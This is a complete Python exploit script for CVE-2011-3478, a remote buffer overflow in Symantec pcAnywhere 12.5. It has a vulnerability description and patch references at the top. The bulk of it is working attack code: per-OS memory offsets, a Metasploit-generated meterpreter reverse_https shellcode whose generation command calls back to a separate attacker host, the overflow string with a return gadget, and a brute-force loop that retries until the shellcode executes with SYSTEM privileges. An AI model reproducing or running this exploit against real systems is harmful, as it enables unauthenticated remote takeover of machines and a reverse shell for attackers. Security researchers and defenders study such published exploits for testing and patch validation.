#!/usr/bin/python
################################################################
# Exploit Title: Symantec pcAnywhere v12.5.0 Windows x86 RCE
# Date: 2015-10-31
# Exploit Author: Tomislav Paskalev
# Vendor Homepage: https://www.symantec.com/
# Software Link: http://esdownload.symantec.com/akdlm/CD/MTV/pcAnywhere_12_5_MarketingTrialware.exe
# Version: Symantec pcAnywhere v12.5.0 Build 442 (Trial)
# Vulnerable Software:
# Symantec pcAnywhere 12.5.x through 12.5.3
# Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x)
# Tested on:
# Symantec pcAnywhere v12.5.0 Build 442 (Trial)
# --------------------------------------------
# Microsoft Windows Vista Ultimate SP1 x86 EN
# Microsoft Windows Vista Ultimate SP2 x86 EN
# Microsoft Windows 2008 Enterprise SP2 x86 EN
# Microsoft Windows 7 Professional SP1 x86 EN
# Microsoft Windows 7 Ultimate SP1 x86 EN
# CVE ID: 2011-3478
# OSVDB-ID: 78532
################################################################
# Vulnerability description:
# The application's module used for handling incoming connections
# (awhost32.exe) contains a flaw. When handling authentication
# requests, the vulnerable process copies user provided input
# to a fixed length buffer without performing a length check.
# A remote unauthenticated attacker can exploit this vulnerability
# to cause a buffer overflow and execute arbitrary code in the
# context of the exploited application (installed as a service
# by default, i.e. with "NT AUTHORITY\SYSTEM" privileges).
################################################################
# Target application notes:
# - the application processes one login attempt at a time
# (i.e. multiple parallel login requests are not possible)
# - available modules (interesting exploit wise):
# Name | Rebase | SafeSEH | ASLR | NXCompat | OS Dll
# -------------------------------------------------------------
# awhost32.exe | False | False | False | False | False
# ijl20.dll | False | False | False | False | False
# IMPLODE.DLL | False | False | False | False | False
# -------------------------------------------------------------
# - supported Windows x86 operating systems (pcAnywhere v12.5)
# - Windows 2000
# - Windows 2003 Server
# - Windows 2008 Server
# - Windows XP
# - Windows Vista
# - Windows 7
################################################################
# Exploit notes:
# - bad characters: "\x00"
# - Windows Vista, Windows 2008 Server, Windows 7
# - after a shellcode execution event occurs, the
# application does not crash and remains fully functional
# - one successful shellcode execution event has a low
# success rate (applies to all OSes)
# - in order to achieve an overall more reliable exploit,
# multiple shellcode executions need to be performed
# (until the shellcode is successfully executed)
# - brute force is a feasible method
# - multiple parallel brute force attacks are not possible
# - multiple valid offsets are available (i.e. not just the
# ones tested)
################################################################
# Test notes:
# - all tested OSes
# - clean default installations
# - all OS specific statistics referenced in the exploit are
# based on the test results of 10 attempts per tested offset
# - all attempts were performed after a system reboot (VM)
# - the provided test results should be taken only as a rough guide
# - in practice it might occur that the number of attempts
# needed to achieve successful exploitation is (much)
# higher than the maximum value contained in the test
# results, or that the exploit does not succeed at all
# - other (untested) offsets might provide better results
# - not letting the OS and application load fully/properly before
# starting the exploit may lead to failed exploitation (this
# observation was made during the testing of the exploit and
# applies mostly to Windows 7)
################################################################
# Patch:
# https://support.symantec.com/en_US/article.TECH179526.html
# https://support.norton.com/sp/en/us/home/current/solutions/v78694006_EndUserProfile_en_us
################################################################
# Thanks to:
# Tal zeltzer (discovered the vulnerability)
# S2 Crew (Python PoC)
################################################################
# In memoriam:
# msfpayload | msfencode [2005 - 2015]
################################################################
# References:
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3478
# http://www.zerodayinitiative.com/advisories/ZDI-12-018/
# https://www.exploit-db.com/exploits/19407/
################################################################
import socket
import time
import struct
import string
import sys
################################
### HARDCODED TARGET INFO ###
################################
# target server info
# >>> MODIFY THIS >>>
targetServer = "192.168.80.227"
targetPort = 5631
# Supported operating systems
vistaUltSP1 = {
'Version': 'Microsoft Windows Vista Ultimate SP1 x86 EN',
'Offset': 0x03e60000,
'PasswordStringLength': 3500,
'TestAttempts': [8, 62, 35, 13, 8, 7, 11, 23, 8, 10]
};
vistaUltSP2 = {
'Version': 'Microsoft Windows Vista Ultimate SP2 x86 EN',
'Offset': 0x03e60000,
'PasswordStringLength': 3500,
'TestAttempts': [16, 27, 13, 17, 4, 13, 7, 9, 5, 16]
};
s2k8EntSP2 = {
'Version': 'Microsoft Windows 2008 Enterprise SP2 x86 EN',
'Offset': 0x03dd0000,
'PasswordStringLength': 3500,
'TestAttempts': [25, 5, 14, 18, 66, 7, 8, 4, 4, 24]
};
sevenProSP1 = {
'Version': 'Microsoft Windows 7 Professional SP1 x86 EN',
'Offset': 0x03a70000,
'PasswordStringLength': 3500,
'TestAttempts': [188, 65, 25, 191, 268, 61, 127, 136, 18, 98]
};
sevenUltSP1 = {
'Version': 'Microsoft Windows 7 Ultimate SP1 x86 EN',
'Offset': 0x03fa0000,
'PasswordStringLength': 3500,
'TestAttempts': [23, 49, 98, 28, 4, 31, 4, 42, 50, 42]
};
# target server OS
# >>> MODIFY THIS >>>
#OSdictionary = vistaUltSP1
#OSdictionary = vistaUltSP2
#OSdictionary = s2k8EntSP2
#OSdictionary = sevenProSP1
OSdictionary = sevenUltSP1
# timeout values
shellcodeExecutionTimeout = 30
# client-server handshake
initialisationSequence = "\x00\x00\x00\x00"
handshakeSequence = "\x0d\x06\xfe"
# username string
usernameString = "U" * 175
# shellcode
# available shellcode space: 1289 bytes
# shellcode generated with Metasploit Framework Version: 4.11.4-2015090201 (Kali 2.0)
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.80.223 LPORT=443 EXITFUNC=seh -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode
# >>> MODIFY THIS >>>
shellcode = ""
shellcode += "\xda\xd3\xd9\x74\x24\xf4\xbf\x2c\x46\x39\x97\x5d"
shellcode += "\x33\xc9\xb1\x87\x83\xed\xfc\x31\x7d\x14\x03\x7d"
shellcode += "\x38\xa4\xcc\x6b\xa8\xaa\x2f\x94\x28\xcb\xa6\x71"
shellcode += "\x19\xcb\xdd\xf2\x09\xfb\x96\x57\xa5\x70\xfa\x43"
shellcode += "\x3e\xf4\xd3\x64\xf7\xb3\x05\x4a\x08\xef\x76\xcd"
shellcode += "\x8a\xf2\xaa\x2d\xb3\x3c\xbf\x2c\xf4\x21\x32\x7c"
shellcode += "\xad\x2e\xe1\x91\xda\x7b\x3a\x19\x90\x6a\x3a\xfe"
shellcode += "\x60\x8c\x6b\x51\xfb\xd7\xab\x53\x28\x6c\xe2\x4b"
shellcode += "\x2d\x49\xbc\xe0\x85\x25\x3f\x21\xd4\xc6\xec\x0c"
shellcode += "\xd9\x34\xec\x49\xdd\xa6\x9b\xa3\x1e\x5a\x9c\x77"
shellcode += "\x5d\x80\x29\x6c\xc5\x43\x89\x48\xf4\x80\x4c\x1a"
shellcode += "\xfa\x6d\x1a\x44\x1e\x73\xcf\xfe\x1a\xf8\xee\xd0"
shellcode += "\xab\xba\xd4\xf4\xf0\x19\x74\xac\x5c\xcf\x89\xae"
shellcode += "\x3f\xb0\x2f\xa4\xad\xa5\x5d\xe7\xb9\x57\x3b\x6c"
shellcode += "\x39\xc0\xb4\xe5\x57\x79\x6f\x9e\xeb\x0e\xa9\x59"
shellcode += "\x0c\x25\x84\xbe\xa1\x95\xb4\x13\x16\x72\x01\xc2"
shellcode += "\xe1\x25\x8a\x3f\x42\x79\x1f\xc3\x37\x2e\xb7\x78"
shellcode += "\xb6\xd0\x47\x97\x86\xd1\x47\x67\xd9\x84\x3f\x54"
shellcode += "\x6e\x11\x95\xaa\x3a\x37\x6f\xa8\xf7\xbe\xf8\x1d"
shellcode += "\x4c\x16\x73\x50\x25\xc2\x0c\xa6\x91\xc1\xb0\x8b"
shellcode += "\x53\x69\x76\x22\xd9\x46\x0a\x1a\xbc\xea\x87\xf9"
shellcode += "\x09\xb2\x10\xcf\x14\x3c\xd0\x56\xb3\xc8\xba\xe0"
shellcode += "\x69\x5a\x3a\xa2\xff\xf0\xf2\x73\x92\x4b\x79\x10"
shellcode += "\x02\x3f\x4f\xdc\x8f\xdb\xe7\x4f\x6d\x1d\xa9\x1d"
shellcode += "\x42\x0c\x70\x80\xcc\xe9\xe5\x0a\x55\x80\x8a\xc2"
shellcode += "\x3d\x2a\x2f\xa5\xe2\xf1\xfe\x7d\x2a\x86\x6b\x08"
shellcode += "\x27\x33\x2a\xbb\xbf\xf9\xd9\x7a\x7d\x87\x4f\x10"
shellcode += "\xed\x0d\x1b\xad\x88\xc6\xb8\x50\x07\x6a\x74\xf1"
shellcode += "\xd3\x2d\xd9\x84\x4e\xc0\x8e\x25\x23\x76\x60\xc9"
shellcode += "\xb4\xd9\xf5\x64\x0e\x8e\xa6\x22\x05\x39\x3f\x98"
shellcode += "\x96\x8e\xca\x4f\x79\x54\x64\x26\x33\x3d\xe7\xaa"
shellcode += "\xa2\xb1\x90\x59\x4b\x74\x1a\xce\xf9\x0a\xc6\xd8"
shellcode += "\xcc\x99\x49\x75\x47\x33\x0e\x1c\xd5\xf9\xde\xad"
shellcode += "\xa3\x8c\x1e\x02\x3b\x38\x96\x3d\x7d\x39\x7d\xc8"
shellcode += "\x47\x95\x16\xcb\x75\xfa\x63\x98\x2a\xa9\x3c\x4c"
shellcode += "\x9a\x25\x28\x27\x0c\x8d\x51\x1d\xc6\x9b\xa7\xc1"
shellcode += "\x8e\xdb\x8b\xfd\x4e\x55\x0b\x97\x4a\x35\xa6\x77"
shellcode += "\x04\xdd\x43\xce\x36\x9b\x53\x1b\x15\xf7\xf8\xf7"
shellcode += "\xcf\x9f\xd3\xf1\xf7\x24\xd3\x2b\x82\x1b\x5e\xdc"
shellcode += "\xc3\xee\x78\x34\x90\x10\x7b\xc5\x4c\x51\x13\xc5"
shellcode += "\x80\x51\xe3\xad\xa0\x51\xa3\x2d\xf3\x39\x7b\x8a"
shellcode += "\xa0\x5c\x84\x07\xd5\xcc\x28\x21\x3e\xa5\xa6\x31"
shellcode += "\xe0\x4a\x37\x61\xb6\x22\x25\x13\xbf\x51\xb6\xce"
shellcode += "\x3a\x55\x3d\x3e\xcf\x51\xbf\x03\x4a\x9d\xca\x66"
shellcode += "\x0c\xdd\x6a\x81\xdb\x1e\x6b\xae\x12\xd8\xa6\x7f"
shellcode += "\x65\x2c\xff\x51\xbd\x60\xd1\x9f\x8f\xb3\x2d\x5b"
shellcode += "\x11\xbd\x1f\x71\x87\xc2\x0c\x7a\x82\xa9\xb2\x47"
################################
### BUFFER OVERFLOW ###
### STRING CONSTRUCTION ###
################################
# Calculate address values based on the OS offset
pointerLocationAddress = OSdictionary['Offset'] + 0x00005ad8
pointerForECXplus8Address = OSdictionary['Offset'] + 0x00005ad4
breakPointAddress = OSdictionary['Offset'] + 0x000065af - 0x00010000
# jump over the next 38 bytes (to the begining of the shellcode)
jumpToShellcode = "\xeb\x26\x90\x90"
# pointerLocationAddress - the memory address location of the "pointerForECXplus8" variable
pointerLocation = struct.pack('<L', pointerLocationAddress)
# CALL ESI from the application module ijl20.dll [aslr=false,rebase=false,safeseh=false]
callESI = struct.pack('<L', 0x67f7ab23)
# pointerForECXplus8Address - the memory address location of the start of the DDDD string in the shellcode (Offset + 0x00005acc + 0x8)
pointerForECXplus8 = struct.pack('<L', pointerForECXplus8Address)
# construct the password string which will cause a buffer overflow condition and exploit the vulnerability
passwordString = (
"A" * 945 +
jumpToShellcode +
pointerLocation +
"D" * 4 +
pointerForECXplus8 +
callESI +
"\x90" * 20 +
shellcode +
"I" * (1289 - len(shellcode)) +
"\xaa" * (OSdictionary['PasswordStringLength'] - 945 - 4 * 5 - 20 - 1289)
)
################################
### FUNCTIONS ###
################################
# calculate and return the median value of the argument list
def calculateMedian(targetList):
sortedTargetList = sorted(targetList)
targetListLength = len(targetList)
medianIndex = (targetListLength - 1) / 2
if (targetListLength % 2):
return sortedTargetList[medianIndex]
else:
return ((sortedTargetList[medianIndex] + sortedTargetList[medianIndex + 1]) / 2)
# print an indented line with a type prefix
def printLine(infoType, indentDepth, textToDisplay):
# [I]nformational
if infoType == "I":
print (' ' * indentDepth),
print "\033[1;37m[*]\033[1;m", textToDisplay
# [E]rror
elif infoType == "E":
print (' ' * indentDepth),
print "\033[1;31m[-]\033[1;m", textToDisplay
# [S]uccess
elif infoType == "S":
print (' ' * indentDepth),
print "\033[1;32m[+]\033[1;m", textToDisplay
# [W]arning
elif infoType == "W":
print (' ' * indentDepth),
print "\033[1;33m[!]\033[1;m", textToDisplay
# [N]one
elif infoType == "N":
print (' ' * indentDepth),
print textToDisplay
# print the banner - general exploit info, target info, target OS statistics
def printBanner():
printLine ("I", 0, "Symantec pcAnywhere v12.5.0 Build 442 Login+Password field")
printLine ("N", 1, "Buffer Overflow Remote Code Execution exploit (CVE-2011-3478)")
printLine ("I", 1, "by Tomislav Paskalev")
printLine ("I", 0, "Target server information")
printLine ("I", 1, "IP address : " + targetServer)
printLine ("I", 1, "Port : " + str(targetPort))
printLine ("I", 0, "Exploit target information")
printLine ("I", 1, "Target OS : " + OSdictionary['Version'])
printLine ("I", 2, "Offset : " + "{:#010x}".format(OSdictionary['Offset']))
printLine ("I", 2, "Breakpoint (test) : " + "{:#010x}".format(breakPointAddress))
printLine ("I", 2, "Password length : " + str(OSdictionary['PasswordStringLength']))
printLine ("I", 2, "Test result stats")
printLine ("I", 3, "Test count : " + str(len(OSdictionary['TestAttempts'])))
printLine ("I", 3, "Reliability : " + str(((len(OSdictionary['TestAttempts']) - OSdictionary['TestAttempts'].count(0)) * 100) / len(OSdictionary['TestAttempts'])) + "%")
printLine ("I", 3, "Min attempt : " + str(min([element for element in OSdictionary['TestAttempts'] if element > 0])))
printLine ("I", 3, "Max attempt : " + str(max(OSdictionary['TestAttempts'])))
printLine ("I", 3, "Avg attempt : " + str(sum(OSdictionary['TestAttempts']) / len(OSdictionary['TestAttempts'])))
printLine ("I", 3, "Median attempt: " + str(calculateMedian(OSdictionary['TestAttempts'])))
# connect to the server and return the socket
def connectToServer(server, port):
# create socket
targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
targetSocket.connect((server, port))
except socket.error as msg:
if "[Errno 111] Connection refused" in str(msg):
return None
# return the opened socket
return targetSocket
# send the data to the server and return the response
def sendDataToServer(destSocket, dataToSend):
destSocket.send(dataToSend)
try:
receivedData = destSocket.recv(1024)
except socket.error as msg:
if "[Errno 104] Connection reset by peer" in str(msg):
return None
return receivedData
# run the exploit; exits when finished or interrupted
def runExploit():
printLine ("I", 0, "Starting exploit...")
attemptCounter = 0
# brute force the service until the shellcode is successfully executed
while True:
# connect to the target server
openSocket = connectToServer(targetServer, targetPort)
attemptCounter += 1
sleepTimer = 0
printLine ("I", 1, "Attempt no. " + str(attemptCounter))
printLine ("I", 2, "Sending initialisation sequence...")
# send the data; check outcome
while True:
receivedData = sendDataToServer(openSocket, initialisationSequence)
# check if server responded properly, if yes exit the loop
if receivedData:
if "Please press <Enter>..." in receivedData:
break
# exit if the service is unavailable
if attemptCounter == 1:
printLine ("E", 3, "Service unavailable")
printLine ("I", 4, "Exiting...")
exit(1)
# check if shellcode executed (based on a timer)
if sleepTimer > shellcodeExecutionTimeout:
print ""
printLine ("S", 4, "Shellcode executed after " + str(attemptCounter - 1) + " attempts")
printLine ("I", 5, "Exiting...")
exit(1)
# print waiting ticks
sys.stdout.write('\r')
sys.stdout.write(" \033[1;33m[!]\033[1;m Connection reset - reinitialising%s" % ('.' * sleepTimer))
sys.stdout.flush()
# sleep one second and reconnect
time.sleep(1)
sleepTimer += 1
openSocket.close()
openSocket = connectToServer(targetServer, targetPort)
if sleepTimer > 0:
print ""
printLine ("I", 2, "Sending handshake sequence...")
openSocket.send(handshakeSequence)
time.sleep(3)
data = openSocket.recv(1024)
printLine ("I", 2, "Sending username...")
openSocket.send(usernameString)
time.sleep(3)
printLine ("I", 2, "Sending password...")
openSocket.send(passwordString)
openSocket.close()
time.sleep(3)
# main function
if __name__ == "__main__":
printBanner()
try:
runExploit()
except KeyboardInterrupt:
print ""
sys.exit()
# End of file